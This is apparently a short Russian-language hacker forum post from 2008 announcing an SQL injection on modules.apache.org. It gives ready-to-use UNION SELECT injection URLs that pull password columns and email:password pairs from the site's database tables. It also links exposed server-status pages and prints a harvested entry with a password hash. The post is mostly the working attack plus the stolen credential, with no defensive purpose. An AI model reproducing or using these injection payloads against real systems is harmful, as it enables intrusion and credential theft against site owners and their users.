apache.org

SQL Injection на apache.org

Найдено: 28.07.2008

Вот что нашёл :

Code:

http://modules.apache.org/search.php?id=-1+union+select+password,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+module/*

Code:

http://modules.apache.org/search.php?id=-1+union+select+concat_ws(0x3a,aemail,apassword),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+access/*

Apache Server Status
http://apache.org/server-status

Apache Server Information
http://apache.org/servinfo

Видео: http://xakername.ifolder.ru/7501509

 

таблица access,не так ценна как таблица module (поля url;password;maintemail)

 

[email protected]:antichat.ru:$1$rkR4HaMX$mYg01WrY9/fWMc7TY/Qp

Впадлу розбиратся(((

 

так просто